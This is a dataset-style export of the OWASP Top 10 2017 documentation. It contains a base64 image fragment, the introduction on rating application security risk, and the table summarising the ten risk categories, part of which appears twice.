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)
Sometimes these paths are trivial to find and exploit, and sometimes they are extremely difficult. Similarly, the harm that is caused may be of no consequence, or it may put you out of business. To determine the risk to your organization, you can evaluate the likelihood associated with each threat agent, attack vector, and security weakness and combine it with an estimate of the technical and business impact to your organization. Together, these factors determine your overall risk.
## What's My Risk
The [OWASP Top 10](https://www.owasp.org/index.php/Top10) focuses on identifying the most serious web application security risks for a broad array of organizations. For each of these risks, we provide generic information about likelihood and technical impact using the following simple ratings scheme, which is based on the OWASP Risk Rating Methodology.
| Threat Agents | Exploitability | Weakness Prevalence | Weakness Detectability | Technical Impacts | Business Impacts |
| -- | -- | -- | -- | -- | -- |
| Appli- | Easy 3 | Widespread 3 | Easy 3 | Severe 3 | Business |
| cation | Average 2 | Common 2 | Average 2 | Moderate 2 | Specific |
| Specific | Difficult 1 | Uncommon 1 | Difficult 1 | Minor 1 | |
In this edition, we have updated the risk rating system to assist in calculating the likelihood and impact of any given risk. For more details, please see [Note About Risks](0xc0-note-about-risks.md).
Each organization is unique, and so are the threat actors for that organization, their goals, and the impact of any breach. If a public interest organization uses a content management system (CMS) for public information and a health system uses that same exact CMS for sensitive health records, the threat actors and business impacts can be very different for the same software. It is critical to understand the risk to your organization based on applicable threat agents and business impacts.
Where possible, the names of the risks in the Top 10 are aligned with [Common Weakness Enumeration](https://cwe.mitre.org/) (CWE) weaknesses to promote generally accepted naming conventions and to reduce confusion.
## References
### OWASP
* [OWASP Risk Rating Methodology](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology)
* [Article on Threat/Risk Modeling](https://www.owasp.org/index.php/Threat_Risk_Modeling)
### External
* [ISO 31000: Risk Management Std](https://www.iso.org/iso-31000-risk-management.html)
* [ISO 27001: ISMS](https://www.iso.org/isoiec-27001-information-security.html)
* [NIST Cyber Framework (US)](https://www.nist.gov/cyberframework)
* [ASD Strategic Mitigations (AU)](https://www.asd.gov.au/infosec/mitigationstrategies.htm)
* [NIST CVSS 3.0](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator)
* [Microsoft Threat Modelling Tool](https://www.microsoft.com/en-us/download/details.aspx?id=49168)
|
0x11-t10.md | ./Top10/2017/en/0x11-t10.md | # T10 OWASP Top 10 Application Security Risks – 2017
| Risk | Description |
| -- | -- |
| A1:2017-Injection | Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker's hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization. |
| A2:2017-Broken Authentication |Application functions related to authentication and session management are often implemented incorrectly, allowing attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users' identities temporarily or permanently. |
| A3:2017-Sensitive Data Exposure | Many web applications and APIs do not properly protect sensitive data, such as financial, healthcare, and PII. Attackers may steal or modify such weakly protected data to conduct credit card fraud, identity theft, or other crimes. Sensitive data may be compromised without extra protection, such as encryption at rest or in transit, and requires special precautions when exchanged with the browser. |
| A4:2017-XML External Entities (XXE) | Many older or poorly configured XML processors evaluate external entity references within XML documents. External entities can be used to disclose internal files using the file URI handler, internal file shares, internal port scanning, remote code execution, and denial of service attacks. |
| A5:2017-Broken Access Control | Restrictions on what authenticated users are allowed to do are often not properly enforced. Attackers can exploit these flaws to access unauthorized functionality and/or data, such as access other users' accounts, view sensitive files, modify other users' data, change access rights, etc. |
| A6:2017-Security Misconfiguration | Security misconfiguration is the most commonly seen issue. This is commonly a result of insecure default configurations, incomplete or ad hoc configurations, open cloud storage, misconfigured HTTP headers, and verbose error messages containing sensitive information. Not only must all operating systems, frameworks, libraries, and applications be securely configured, but they must be patched/upgraded in a timely fashion. |
| A7:2017-Cross-Site Scripting (XSS) | XSS flaws occur whenever an application includes untrusted data in a new web page without proper validation or escaping, or updates an existing web page with user-supplied data using a browser API that can create HTML or JavaScript. XSS allows attackers to execute scripts in the victim's browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites. |
| A8:2017-Insecure Deserialization | Insecure deserialization often leads to remote code execution. Even if deserialization flaws do not result in remote code execution, they can be used to perform attacks, including replay attacks, injection attacks, and privilege escalation attacks. |
| A9:2017-Using Components with Known Vulnerabilities | Components, such as libraries, frameworks, and other software modules, run with the same privileges as the application. If a vulnerable component is exploited, such an attack can facilitate serious data loss or server takeover. Applications and APIs using components with known vulnerabilities may undermine application defenses and enable various attacks and impacts. |
| A10:2017-Insufficient Logging & Monitoring| Insufficient logging and monitoring, coupled with missing or ineffective integration with incident response, allows attackers to further attack systems, maintain persistence, pivot to more systems, and tamper, extract, or destroy data. Most breach studies show time to detect a breach is over 200 days, typically detected by external parties rather than internal processes or monitoring. |
| 3,845 | 0.003669 | # T10 OWASP Top 10 Application Security Risks – 2017
| Risk | Description |
| -- | -- |
| A1:2017-Injection | Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker's hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization. |
| A2:2017-Broken Authentication |Application functions related to authentication and session management are often implemented incorrectly, allowing attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users' identities temporarily or permanently. |
| A3:2017-Sensitive Data Exposure | Many web applications and APIs do not properly protect sensitive data, such as financial, healthcare, and PII. Attackers may steal or modify such weakly protected data to conduct credit card fraud, identity theft, or other crimes. Sensitive data may be compromised without extra protection, such as encryption at rest or in transit, and requires special precautions when exchanged with the browser. |
| A4:2017-XML External Entities (XXE) | Many older or poorly configured XML processors evaluate external entity references within XML documents. External entities can be used to disclose internal files using the file URI handler, internal file shares, internal port scanning, remote code execution, and denial of service attacks. |
| A5:2017-Broken Access Control | Restrictions on what authenticated users are allowed to do are often not properly enforced. Attackers can exploit these flaws to access unauthorized functionality and/or data, such as access other users' accounts, view sensitive files, modify other users' data, change access rights, etc. |
